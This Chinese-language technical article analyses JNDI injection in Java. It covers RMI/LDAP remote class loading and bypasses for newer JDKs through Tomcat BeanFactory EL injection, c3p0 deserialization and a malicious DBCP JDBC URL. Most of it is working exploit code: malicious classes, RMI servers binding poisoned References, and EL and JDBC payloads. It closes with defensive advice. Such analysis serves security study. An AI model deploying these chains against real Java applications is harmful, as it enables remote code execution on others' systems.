JNDI注入攻防全解析:从低版本RCE到高版本绕过分析
字数 1473 2025-11-26 12:10:25
JNDI注入攻防全解析:从低版本RCE到高版本绕过分析
前言
JNDI(Java Naming and Directory Interface)注入是Java安全领域的重要攻击方式。本文将系统分析JNDI注入的攻防技术演变,从经典的低版本RCE利用到高版本JDK的防护绕过技术。
一、低版本JNDI注入原理分析
1.1 RMI利用方式
恶意类准备
import java.lang.Runtime;
public class test{
static {
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
System.out.println(e);
}
}
public test(){}
}
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
客户端代码
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
漏洞调用栈分析
loadClass:73, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (JNDI)
关键漏洞点
在RegistryContext.decodeObject方法中,通过NamingManager.getObjectInstance触发远程类加载:
helper.loadClass(factoryName)尝试从本地加载Factory类- 如果本地不存在,则通过
helper.loadClass(factoryName, codebase)从远程codebase加载恶意class - 使用
clas.newInstance()实例化恶意类,触发静态代码块或构造函数中的恶意代码
1.2 LDAP利用方式
客户端代码
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("ldap://127.0.0.1:8085/ecEzwVXo");
}
}
漏洞调用栈
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (JNDI)
二、高版本JDK防护机制
2.1 防护原理
高版本JDK(JDK 6u132、7u122、8u113之后)默认将com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase设置为false,阻止从远程codebase加载类。
2.2 绕过思路
绕过高版本限制的关键在于利用本地工厂类,需要满足以下条件:
- 令ref为空
- 令ref.GetFactoryClassLocation()为空
- 令trustURLCodebase为true
主要采用第二种方法:让ref对象的classFactoryLocation属性为空,表示使用本地工厂类而非远程codebase。
三、高版本绕过技术详解
3.1 Tomcat BeanFactory利用
依赖配置
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
}
技术原理
利用org.apache.naming.factory.BeanFactory本地工厂类,通过EL表达式执行任意代码。
3.2 c3p0 JavaBeanObjectFactory利用
依赖配置
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
利用点分析
JavaBeanObjectFactory.getObjectInstance方法中存在两个反序列化点:
- REF_PROPS_KEY反序列化
BinaryRefAddr var9 = (BinaryRefAddr)var6.remove("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY");
if (var9 != null) {
var12 = (Set)SerializableUtils.fromByteArray((byte[])((byte[])var9.getContent()));
}
- createPropertyMap方法反序列化
RefAddr refAddr = (RefAddr)iter.next();
if (refAddr.getType().equals("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY")) {
refProps = (Set) SerializableUtils.fromByteArray((byte[]) refAddr.getContent());
}
- findBean方法中的setter调用
通过HEX序列化字节加载器进行反序列化攻击,利用WrapperConnectionPoolDataSource.VetoableChange方法触发反序列化。
攻击构造
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"com.mchange.v2.naming.JavaBeanObjectFactory", null);
String poc = ""; // HEX序列化payload
ref.add(new StringRefAddr("userOverridesAsString", "HexAsciiSerializedMap:" + poc+";"));
Registry registry = LocateRegistry.createRegistry(7777);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
调用栈
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
findBean:146, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:14, JNDI_Test (JNDI)
3.3 Tomcat DBCP ResourceFactory利用
环境依赖
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-dbcp2</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.89</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.89</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
利用原理
利用org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory的getObjectInstance方法,通过恶意JDBC URL触发二次反序列化。
攻击构造
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,
"org.apache.naming.factory.ResourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
String JDBC_URL = "jdbc:mysql://127.0.0.1:3309/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&useSSL=false";
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
四、总结
JNDI注入攻击技术经历了从低版本的直接远程类加载到高版本的本地工厂类绕过的演变过程。防御方需要:
- 及时升级JDK版本
- 严格控制信任的codebase来源
- 审查和限制本地工厂类的使用
- 实施严格的反序列化过滤策略
攻击技术的持续演进表明,Java应用安全需要多层次、纵深化的防护策略。